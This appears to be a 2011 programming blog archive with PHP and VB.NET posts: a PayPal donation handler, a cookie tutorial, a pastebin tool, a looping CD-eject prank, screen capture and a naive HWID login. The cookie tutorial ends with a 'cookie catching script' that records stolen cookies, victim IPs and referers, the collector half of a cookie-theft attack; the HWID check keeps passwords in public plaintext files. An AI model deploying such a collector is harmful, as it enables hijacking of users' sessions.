Sunday, October 16, 2011

Paypal Auto Donation - PHP

Here is an auto donation script using paypal as payment option, hope someone has use for it.

PHP Code.


PHP Code:
<?php/**/
// CONFIGURATION REQUIRED FOR PARAMETERS BELOW
// THIS PHP SCRIPT CAN BE RUN FROM YOUR BROWSER WITH "?test=true" PARAMETER TO TEST CONNECTION WITH THE SQL DATABASE
/**/
$paypal_email "myname@domain.com"// You need to set this to your own PayPal email account (at which you will be receiving the payments), this needs to be set in order to verify that the payment was actually delivered to your account$server_name "localhost\SQLEXPRESS"// set this to your SQL Server Name$database_name "accounts"// set this to your Database Name$database_user "user"// set this to your Database User$database_pass "pass"// set this to your Database Password$table "payments"// set this to your Payments Table
/**/
// Functions
/**/
function Error($message// write the message to your php error log, and stop processing the script any further (die){
    
error_log($message);
    die();
}
function 
SQLErrors() // get list of all SQL errors, and return it as one string{
    
$text=""; if(($errors=sqlsrv_errors())!=null)foreach($errors as $error)$text.=$error['message']."\n";
    return 
$text;
}
function 
SQLConnect($server$database$user$pass// connect to SQL Server Database{
    
$params=array('Database'=>$database'UID'=>$user'PWD'=>$pass);
    
$sql=sqlsrv_connect($server$params);
    if(!
$sql)Error("Can't connect to SQL Server (".$server.") Database (".$database."), errors: ".SQLErrors()."\n");
    return 
$sql;
}
function 
SQLDisconnect($sql// disconnect from SQL Server Database{
    
sqlsrv_close($sql);
}
function 
AddPayment($sql$table$user_id$e_mail$payment$currency$transaction_id$test_mode// Add Payment by inserting a Row in the payments Table{
    
$command="INSERT INTO ".$table." (user_id, e_mail, payment, currency, transaction_id) SELECT ?, ?, ?, ?, ? WHERE NOT EXISTS (SELECT 1 FROM ".$table." WHERE user_id=? AND transaction_id=? AND e_mail=?)"// command for inserting a payment if it doesn't exist yet
    
$statement=sqlsrv_query($sql$command, array($user_id$e_mail$payment$currency$transaction_id,   $user_id$transaction_id$e_mail));
    if(!
$statement)Error("Could not add payment, errors: ".SQLErrors()."\n");
    
sqlsrv_free_stmt($statement);
    if(
$test_mode)echo("Test Payment Added Successfully!\n"); // if we're running in test mode, then display success message in the browser}
function 
PayPalVerify() // test if PayPal verifies the Payment information{
    
$ok=false;

    
$req 'cmd=_notify-validate';
    foreach (
$_POST as $key => $value)
    {
        
$value urlencode(stripslashes($value));
        
$req .= "&$key=$value";
    }

    
// post back to PayPal system to validate
    
$header  "POST /cgi-bin/webscr HTTP/1.0\r\n";
    
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$header .= "Content-Length: ".strlen($req)."\r\n\r\n";
    
$fp fsockopen('ssl://www.paypal.com'443$errno$errstr30);
    if(
$fp)
    {
        
fputs($fp$header.$req);
        while(!
feof($fp))
        {
            
$res=fgets($fp1024);
            if(
strcmp($res"VERIFIED")==0$ok=true;
        }
        
fclose($fp);
    }
    if(!
$ok)Error("PayPal did not verify the payment");
}
/**/
// Main Codes
/**/
$test_mode = ($_GET['test']!=null); // you can test the script by manually running it from the browser with "?test=true" added at the end of the address, when enabled this will test if the script can properly access your SQL Database by adding a test payment, on success, it will display "Test Payment Added Successfully!", on error, you can investigate your php error log

// connect to SQL Database
$sql=SQLConnect($server_name$database_name$database_user$database_pass);
// if PayPal confirms the paymentif(!$test_mode)PayPalVerify();
// get information about the payment (this data is sent to us by PayPal)$item_name $_POST['item_name'];$item_number $_POST['item_number'];$payment_status $_POST['payment_status'];$payment_amount $_POST['mc_gross'];$payment_currency $_POST['mc_currency'];$transaction_id $_POST['txn_id'];$receiver_email $_POST['receiver_email'];$payer_email $_POST['payer_email'];$custom $_POST['custom']; if($custom == null$custom = -1;
// if the money was sent to our address (case insensitive)if(!$test_mode)if(strcasecmp($receiver_email$paypal_email)!=0Error("Someone is sending us fake payments");

if(
$test_mode true : (strcmp($payment_status"Completed")==0)) // if the status of payment is Completed{
    if(
$test_mode) {$custom=-1$payer_email="test@test.test"$payment_amount=0$payment_currency="test"$transaction_id="test";} // setup test data when in test mode

    
$user_id $custom;
    
$e_mail $payer_email;
    
$payment round($payment_amount);
    
$currency $payment_currency;
    
AddPayment($sql$table$user_id$e_mail$payment$currency$transaction_id$test_mode);
}
SQLDisconnect($sql);/**/?>

MSSQL Table.

PHP Code:
CREATE TABLE [accounts].[dbo].[payments]
(
    [
user_id] [intNOT NULL,
    [
e_mail] [nvarchar](128NOT NULL,
    [
payment] [intNOT NULL,
    [
currency] [varchar](5NOT NULL,
    [
transaction_id] [varchar](32NOT NULL,
    [
date] [datetimeNOT NULL DEFAULT GetDate(),

Have fun,

Cheers.

Saturday, October 15, 2011

File Studios : Basic cookie usage - PHP

Setting a cookie is pretty easy, since PHP provides a function for you to do it already. This code sets a cookie called "userid" with a value of "anon":



Code:

$date_of_expiry = time() + 60 ;
setcookie( "userid", "anon", $date_of_expiry );

The code starts by calculating the expiry(expiration) date of the cookie. Cookies have a limited lifespan. If you do not set an expiry date,
the cookie will expire automatically when the user closes his/her web browser. The expiry date has to be in a special format, so it's
actually simplest to just use the time() function and work from there. This function returns the current date and time in the required
format. My code adds 60 seconds to the existing time, effectively making the cookie last for only 1 minute.

The second line calls the setcookie() function, which does the actual work of setting the cookie in PHP.
This is a built-in function in PHP. The first parameter (or argument) to setcookie() is the name that you want to give the cookie.
It can be any name you like. In the example above, I gave the cookie the name "userid".

The second parameter to the setcookie() function contains the actual data that you want saved.
Again, this can be any data you like, although the maximum size of any cookie is 4 KB. This 4 KB includes things like the date of expiry,
the name, and other cookie overheads, so you don't really have all 4,096 bytes to work with. Note: cookies are not ecrypted by default, but
you can encrypt them.

The third argument is the date of expiry that was calculated earlier. As noted earlier, my code gives the cookie a very short lifespan.
If you want your cookie to last longer, and you surely will, you will have to add the lifespan you want, converted to seconds, to the value
returned by time().

Here's an example of how to do that using a new variable, $number_of_days. Set the $number_of_days variable to the number of days you want
your cookie to last, and the code below will calculate the actual date of expiry for you in a format suitable for passing to the setcookie() function.

Code:

$number_of_days = 30 ;
$date_of_expiry = time() + 60 * 60 * 24 * $number_of_days ;

You will of course have to pass $date_of_expiry to setcookie() as its third parameter.
Making the Cookie Valid for Other Folders / Subdirectories

Although the above parameters to setcookie() are probably the most useful, there are additional parameters that you can use when calling
the function. These parameters are optional, and can be omitted if you don't need to use them.

As it is, the cookie set in the above example will only be valid for the directory (or folder) where the current web document is kept as
well as its descendant directories. For example, if your script was executed from the page http://www.example.com/members-only/login.php,
then the cookie will be valid for any file in http://www.example.com/members-only/ and the subdirectories below it. If you want your cookie
to be valid for every folder on your website, you will have to specify a fourth argument to setcookie().

Code:
setcookie( "userid", "anon", $date_of_expiry, "/" ) ;

The fourth parameter should be the top directory where you want to cookie to be available in. If it is set to "/" (the root folder of your website) as in the above example, it will be valid throughout your site. If you want the cookie to be available only in the "/secret" directory, pass "/secret" instead of "/" to the function.

Making the Cookie Valid in Other Sub-domains

If your cookie was set for a user accessing your site using (say) http://www.example.com, the cookie will not be valid if he/she goes to
example.com even if both URLs resolve to the same site. To make it valid no matter which subdomain name of example.com is used, you will need to add a fifth parameter to setcookie().

Code:
setcookie( "userid", "anon", $date_of_expiry, "/", "example.com" );

Note that if you add a fifth parameter to the function, you must include the fourth parameter -- that is, the path or folder argument will no longer be optional. However, if you don't really want to set the fourth parameter but only the fifth, you can pass an empty string (that is, "") for the that parameter.

Code:
setcookie( "userlogin", "anonymous", $date_of_expiry, "", "example.com" );


Cookies Must Be Set Before Page Output


Since cookies are sent by the script to the browser in the HTTP headers, before your page is sent, they must be set before you even send a
single line of HTML or any other page output. The moment you send any sort of output, you are signalling the end of the HTTP headers. When that happens, you can no longer set any cookie. If you try, the setcookie() function will return FALSE, and the cookie will not be sent. You will probably also get a PHP error message.

When setcookie() returns TRUE, the cookie was successfully sent to the web browser. This does not mean that the cookie has been successfully
set, though, since it's possible that the user has disabled cookie support. However, where the PHP interpreter is concerned, the cookie has been sent.

How to Get the Contents of a Cookie

Cookies set for a page can be retrieved from the variable $_COOKIE['cookie_name'] where 'cookie_name' is the name of the cookie you set earlier.

For example, if you wanted to display the value of the "userid" cookie, the following code should do the trick.

Code:
echo "How's it going" . $_COOKIE['userid'] "?";

Note that you cannot set a cookie in PHP and hope to retrieve the cookie immediately in that same script session. Take the following non-working PHP code as an example:

Code:

/* WARNING: THIS WILL NOT WORK */
setcookie ( "userid", "anonymous", time()+60 );
echo "Value of userid: " . $_COOKIE['userid'] ;

Remember that cookies are sent in the HTTP headers, both to and by the web browser. At the time the above script runs, the web browser will
have sent a request to your server for your script without including any "userid" cookie, since none has been set yet (unless one was already set in an earlier session). As such, when the PHP interpreter loads your script, it will create the $_COOKIE array without your "userid" cookie.

Testing for the existence of the cookie immediately after you set it in the same script is thus pointless. For example, the above code will print "Value of userlogin: " and nothing else. This doesn't mean that the cookie has not been sent -- it just means you can't test it in the same script run. If you really need to test whether the cookie has been set, one way is to use JavaScript to check the cookie.


How to Delete a Cookie

Cookies can also be deleted. This is useful for situations such as when a user logs out of your site. To delete a cookie, call the setcookie() function again with the same name, folder and domain that you used earlier to set the cookie. However, instead of an expiry date set in the future, this time give an expiry date some time in the past.

Code:

$date_of_expiry = time() - 60 ;
setcookie( "userid", "anon", $date_of_expiry, "/",
  "example.com" );

The above code simply sets the expiry date 60 seconds in the past, effectively making the cookie no longer valid.

Cookie catching script:
You need this script hosted on a php enabled server with .php extension, and also a cookie.html


Code:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br>
IP: ' .$ip. '<br>
Date/Time: ' .$date. '<br>
Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://www.filestudios.blogspot.com");

Thursday, October 13, 2011

[Release] iPasteBin v1.2

This application views the information on every pastebin link. You can also upload to pastebin, I have included all options.

Updates:


Code:
- Added RC4 Encryption
- Added View past users online

Functions:
Code:
- RC4 Encryption
- No Captcha
- View Pastes
- Make Pastes (All options included)
- View users online

Screenshots:
[Image: iLfA1xJMNfL4v.png]

[Image: screenshot.77.png]

[Image: iblha54JEnJ4xg.png]

[Image: iba2gsXPFGJiB7.png]

[Image: screenshot.52.png]


Download:
Binary:
Code:
http://dl.dropbox.com/u/14409961/iPasteBin/iPasteBin.rar

Source: I may release this in the future.


Credits to:
Look in the pics and in the application.

Wednesday, October 12, 2011

[Snippet] Opening/Closing CD drive - VB.NET

Recently someone asked for it so I'm just gonna post the source here.
I include snippets for:
Open or close CD Drive
- Opening and Closing without stopping (Loop)

Open or close the CD Drive
It opens the CD Drive (when it's closed) or closes the CD Drive (when it's opened). You only use the red code.
Note: The closing doesn't works on laptops.

Looping it (Spam opening and Closing)
To loop it you use the green and the red code together.

-=-=-=-=-=-=-=-=-=-=-=-=-
Public Sub eject()
Do
Dim owmp As Object
Dim colCDROMs
owmp = CreateObject("WMPlayer.OCX.7")
colCDROMs = owmp.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).eject()
Next

For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).eject()
Next

End If
Loop
End Sub
-=-=-=-=-=-=-=-=-=-=-=-=-

How to use it:

Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  Call eject()
End Sub


Tuesday, October 11, 2011

Screen Capture - VB.NET

I've made a small tutorial on how to make a ScreenCap Application

You need:
- A button

[Image: screenshot.34.png]

Start a new project and add this under "Public Class Form1"


Code:
Inherits System.Windows.Forms.Form

    Private Declare Function CreateDC Lib "gdi32" Alias "CreateDCA" (ByVal lpDriverName As String, ByVal lpDeviceName As String, ByVal lpOutput As String, ByVal lpInitData As String) As Integer

    Private Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Integer) As Integer

    Private Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer) As Integer

    Private Declare Function GetDeviceCaps Lib "gdi32" Alias "GetDeviceCaps" (ByVal hdc As Integer, ByVal nIndex As Integer) As Integer

    Private Declare Function SelectObject Lib "GDI32" (ByVal hDC As Integer, ByVal hObject As Integer) As Integer

    Private Declare Function BitBlt Lib "GDI32" (ByVal srchDC As Integer, ByVal srcX As Integer, ByVal srcY As Integer, ByVal srcW As Integer, ByVal srcH As Integer, ByVal desthDC As Integer, ByVal destX As Integer, ByVal destY As Integer, ByVal op As Integer) As Integer

    Private Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Integer) As Integer

    Private Declare Function DeleteObject Lib "GDI32" (ByVal hObj As Integer) As Integer

    Const SRCCOPY As Integer = &HCC0020

    Private oBackground As Bitmap
    Private FW, FH As Integer


Now add this sub anywhere to your project, just make sure it's not in another sub.
Code:
Protected Sub CaptureScreen()

        Dim hSDC, hMDC As Integer
        Dim hBMP, hBMPOld As Integer
        Dim r As Integer

        hSDC = CreateDC("DISPLAY", "", "", "")
        hMDC = CreateCompatibleDC(hSDC)

        FW = GetDeviceCaps(hSDC, 8)
        FH = GetDeviceCaps(hSDC, 10)
        hBMP = CreateCompatibleBitmap(hSDC, FW, FH)

        hBMPOld = SelectObject(hMDC, hBMP)
        r = BitBlt(hMDC, 0, 0, FW, FH, hSDC, 0, 0, 13369376)
        hBMP = SelectObject(hMDC, hBMPOld)

        r = DeleteDC(hSDC)
        r = DeleteDC(hMDC)

        oBackground = Image.FromHbitmap(New IntPtr(hBMP))
        DeleteObject(hBMP)

    End Sub



And if you want Button1 to capture the screen and save it to C:/picture.jpg you would do this
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        CaptureScreen()
        oBackground.save("C:/picture.jpg")
    End Sub

[Image: screenshot.37.png]


Download source

Monday, October 10, 2011

Simple HWID System - VB.NET

Hello,

This is a really simple HWID System
You need:
-2 forms
-a fileave account (http://www.fileave.com) with a user.txt, pass.txt and hwid.txt file
-common sense

Forms:
[Image: hwidpics.png]

For the second form put this as code for the button:

-Copy HWID


PHP Code:
Private Sub Button2_Click(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button2.Click

  Dim cpuInfo 
As String String.Empty
  
Dim mc As New ManagementClass("win32_processor")
  
Dim moc As ManagementObjectCollection mc.GetInstances()

  For 
Each mo As ManagementObject In moc
    
If cpuInfo "" Then
    cpuInfo 
mo.Properties("processorID").Value.ToString()
    Exit For
    
End If
  
Next
  
Try
    
My.Computer.Clipboard.SetText(cpuInfo)
    
MsgBox("Copied")
  Catch 
ex As Exception
    MsgBox
("Failed to copy")
  
End Try
    
End Sub 

-Check HWID

PHP Code:
Private Sub Button1_Click(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button2.Click

  Dim cpuInfo 
As String String.Empty
  
Dim mc As New ManagementClass("win32_processor")
  
Dim moc As ManagementObjectCollection mc.GetInstances()

  For 
Each mo As ManagementObject In moc
    
If cpuInfo "" Then
    cpuInfo 
mo.Properties("processorID").Value.ToString()
    Exit For
    
End If
  
Next

  Dim wc3 
As New System.Net.WebClient
  Dim http3 
As String wc3.DownloadString("http://youracc.fileave.com/hwid.txt")

  If 
http3.Contains(cpuInfoThen
    MsgBox
("Your HWID is currently active",MsgBoxStyle.Information"Check")
  Else
    
MsgBox("Your HWID is not registered"MsgBoxStyle.Information"Check")
  
End If

    
End Sub 

For the first form you put this for the login button:

PHP Code:
If TextBox1.Text "" Or TextBox1.Text "" Then
    MsgBox
("Please enter Username/Password")
  
End If

  
Dim cpuInfo As String String.Empty
  
Dim mc As New ManagementClass("win32_processor")
  
Dim moc As ManagementObjectCollection mc.GetInstances()

  For 
Each mo As ManagementObject In moc
    
If cpuInfo "" Then
    cpuInfo 
mo.Properties("processorID").Value.ToString()
    Exit For
    
End If
  
Next

  Dim wc3 
As New System.Net.WebClient
  Dim user 
As String wc3.DownloadString("http://youracc.fileave.com/user.txt")
  
Dim pass As String wc3.DownloadString("http://youracc.fileave.compass.txt")
  
Dim hwid As String wc3.DownloadString("http://youracc.fileave.com/hwid.txt")
  If 
user.Contains(":" TextBox1.Text ":") And pass.Contains(":" TextBox2.Text ":") And hwid.Contains(cpuInfoThen
    Me
.Hide()
    
form1.Show()
  Else
    
MsgBox("You don't have access")
  
End If 

VERY IMPORTANT:

-Don't forget to change the links
-If you want to make an account for someone, add :username: in the user.txt file, :password: in the pass.txt file and just the HWID in hwid.txt
Why ":"? Because otherwise you just enter a letter and you can login.

This is a very simple HWID protection so I wouldn't use this for very big projects.

 
Design by Free WordPress Themes | Blogger Theme by Lasantha - Premium Blogger Templates